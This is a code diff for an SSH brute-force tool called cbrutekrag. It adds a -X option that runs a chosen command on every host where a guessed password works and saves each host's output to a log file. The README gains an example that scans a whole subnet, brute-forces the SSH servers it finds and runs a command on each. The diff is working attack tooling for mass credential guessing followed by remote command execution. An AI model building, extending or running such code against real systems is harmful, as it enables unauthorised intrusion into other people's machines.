diff --git a/CHANGELOG.md b/CHANGELOG.md index d06dd4f..acbc3bf 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Added + +- Remote command execution (argument: -X ). + ### Fixed - Added missing wrapper for FD_SET in static build - ssh_get_error shouldnt be used after ssh_free diff --git a/README.md b/README.md index 9513994..8067143 100644 --- a/README.md +++ b/README.md @@ -60,7 +60,7 @@ $ cbrutekrag -h usage: ./cbrutekrag [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C combinations.lst] - [-t THREADS] [-o OUTPUT.txt] [TARGETS...] + [-t THREADS] [-o OUTPUT.txt] [-X COMMAND] [TARGETS...] -h This help -v Verbose mode @@ -74,12 +74,16 @@ usage: ./cbrutekrag [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C combinations. -o Output log file -a Accepts non OpenSSH servers -A Allow servers detected as honeypots. + -X Remote command execution. ``` ## Example usages ```bash cbrutekrag -T targets.txt -C combinations.txt -o result.log cbrutekrag -s -t 8 -C combinations.txt -o result.log 192.168.1.0/24 + +# Scans 192.168.100.0/24 using 24 threads, then bruteforce discovered ssh servers and execute command if we can log into. +cbrutekrag -s -o result.log -t 24 -C combos.txt -X "touch THIS_HOST_HAS_BEEN_COMPROMISED" 192.168.100.0/24 ``` ### Supported targets syntax diff --git a/include/bruteforce_ssh.h b/include/bruteforce_ssh.h index 0a9b1a4..1ce8483 100644 --- a/include/bruteforce_ssh.h +++ b/include/bruteforce_ssh.h @@ -25,6 +25,8 @@ SOFTWARE. #include +#include + #include "cbrutekrag.h" int bruteforce_ssh_login(btkg_context_t *context, const char *hostname, @@ -36,4 +38,6 @@ int bruteforce_ssh_try_login(btkg_context_t *context, const char *hostname, const char *password, size_t count, size_t total, FILE *output); +int bruteforce_ssh_execute_command(ssh_session session, const char *command); + #endif /* BRUTEFORCE_SSH_H */ diff --git a/include/cbrutekrag.h b/include/cbrutekrag.h index 44a4b1a..8a40d32 100644 --- a/include/cbrutekrag.h +++ b/include/cbrutekrag.h @@ -35,6 +35,7 @@ typedef struct { int perform_scan; int non_openssh; int allow_honeypots; + char *command; } btkg_context_t; void print_banner(void); diff --git a/include/detection.h b/include/detection.h index dc67246..587a644 100644 --- a/include/detection.h +++ b/include/detection.h @@ -25,6 +25,7 @@ SOFTWARE. #include +#include "cbrutekrag.h" #include "target.h" typedef struct { diff --git a/src/bruteforce_ssh.c b/src/bruteforce_ssh.c index f78be90..ca47b48 100644 --- a/src/bruteforce_ssh.c +++ b/src/bruteforce_ssh.c @@ -22,15 +22,60 @@ SOFTWARE. #include #include +#include +#include + +#include #include +#include "bruteforce_ssh.h" #include "cbrutekrag.h" #include "log.h" #include "progressbar.h" int g_timeout; +char *get_output_filename_for_session(ssh_session session) +{ + struct sockaddr_storage tmp; + struct sockaddr_in *sock; + unsigned int len = 100; + char ip[100] = "\0"; + + getpeername(ssh_get_fd(session), (struct sockaddr *)&tmp, &len); + sock = (struct sockaddr_in *)&tmp; + inet_ntop(AF_INET, &sock->sin_addr, ip, len); + + char *filename = malloc(strlen(ip) + 9); // _cmd.log + null-terminator + + if (filename == NULL) { + exit(EXIT_FAILURE); + } + + strcpy(filename, ip); + strcat(filename, "_cmd.log"); + + return filename; +} + +FILE *get_output_file_for_session(ssh_session session) +{ + FILE *output = NULL; + char *filename = get_output_filename_for_session(session); + + output = fopen(filename, "a"); + + if (output == NULL) { + log_error("Error opening output file. (%s)", filename); + exit(EXIT_FAILURE); + } + + free(filename); + + return output; +} + int bruteforce_ssh_login(btkg_context_t *context, const char *hostname, uint16_t port, const char *username, const char *password) @@ -101,6 +146,17 @@ int bruteforce_ssh_login(btkg_context_t *context, const char *hostname, if (method & (int)SSH_AUTH_METHOD_PASSWORD) { r = ssh_userauth_password(my_ssh_session, NULL, password); if (r == SSH_AUTH_SUCCESS) { + if (context->command != NULL) { + int cx = bruteforce_ssh_execute_command( + my_ssh_session, context->command); + if (cx != SSH_OK) { + log_error( + "[!] %s:%d - Cannot execute command.", + hostname, port); + } else { + log_info("\033[32m[+]\033[0m %s:%d - Command executed successfully.", hostname, port); + } + } ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); @@ -142,3 +198,74 @@ int bruteforce_ssh_try_login(btkg_context_t *context, const char *hostname, return ret; } + +int bruteforce_ssh_execute_command(ssh_session session, const char *command) +{ + ssh_channel channel; + int ret; + + /** Create channel */ + + channel = ssh_channel_new(session); + + if (channel == NULL) { + return SSH_ERROR; + } + + /** Open a session */ + + ret = ssh_channel_open_session(channel); + if (ret != SSH_OK) { + log_error("Cannot open channel."); + ssh_channel_free(channel); + return ret; + } + + /** Send command */ + + ret = ssh_channel_request_exec(channel, command); + if (ret != SSH_OK) { + ssh_channel_close(channel); + ssh_channel_free(channel); + return ret; + } + + /** Read the output */ + + FILE *output = NULL; + char buffer[256]; + int nbytes; + nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0); + + output = get_output_file_for_session(session); + + while (nbytes > 0) { + if (fwrite(buffer, 1, (size_t)nbytes, output) != + (size_t)nbytes) { + goto exit_with_errors; + } + nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0); + } + + if (nbytes < 0) { + goto exit_with_errors; + } + + if (output != NULL) { + fclose(output); + } + ssh_channel_send_eof(channel); + ssh_channel_close(channel); + ssh_channel_free(channel); + + return SSH_OK; + +exit_with_errors: + if (output != NULL) { + fclose(output); + } + ssh_channel_close(channel); + ssh_channel_free(channel); + + return SSH_ERROR; +} diff --git a/src/cbrutekrag.c b/src/cbrutekrag.c index 4b03af9..3c309ce 100644 --- a/src/cbrutekrag.c +++ b/src/cbrutekrag.c @@ -60,7 +60,7 @@ void print_banner() void usage(const char *p) { printf("\nusage: %s [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C credentials.lst]\n" - "\t\t[-t THREADS] [-o OUTPUT.txt] [TARGETS...]\n\n", + "\t\t[-t THREADS] [-o OUTPUT.txt] [-X COMMAND] [TARGETS...]\n\n", p); } @@ -84,7 +84,7 @@ int main(int argc, char **argv) char *credentials_filename = NULL; char *output_filename = NULL; FILE *output = NULL; - btkg_context_t context = { 3, 1, 0, 0, 0, 0, 0, 0 }; + btkg_context_t context = { 3, 1, 0, 0, 0, 0, 0, 0, NULL }; struct timespec start, end; double elapsed; struct rlimit limit; @@ -105,7 +105,7 @@ int main(int argc, char **argv) context.max_threads = (limit.rlim_cur > 1024) ? 1024 : limit.rlim_cur - 8; - while ((opt = getopt(argc, argv, "aAT:C:t:o:DsvVPh")) != -1) { + while ((opt = getopt(argc, argv, "aAT:C:t:o:DsvVPhX:")) != -1) { switch (opt) { case 'a': context.non_openssh = 1; @@ -147,6 +147,9 @@ int main(int argc, char **argv) case 'P': context.progress_bar = 1; break; + case 'X': + context.command = strdup(optarg); + break; case 'h': print_banner(); usage(argv[0]); @@ -161,7 +164,8 @@ int main(int argc, char **argv) " -t Max threads\n" " -o Output log file\n" " -a Accepts non OpenSSH servers\n" - " -A Allow servers detected as honeypots.\n"); + " -A Allow servers detected as honeypots.\n" + " -X Remote command execution.\n"); exit(EXIT_SUCCESS); default: usage(argv[0]); diff --git a/src/detection.c b/src/detection.c index 9a23083..a246c07 100644 --- a/src/detection.c +++ b/src/detection.c @@ -153,7 +153,7 @@ int detection_detect_ssh(btkg_context_t *ctx, const char *hostname, ret = connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)); FD_ZERO(&fdset); - FdSet(sockfd, &fdset); + FD_SET(sockfd, &fdset); /* Connection timeout */ struct timeval tv;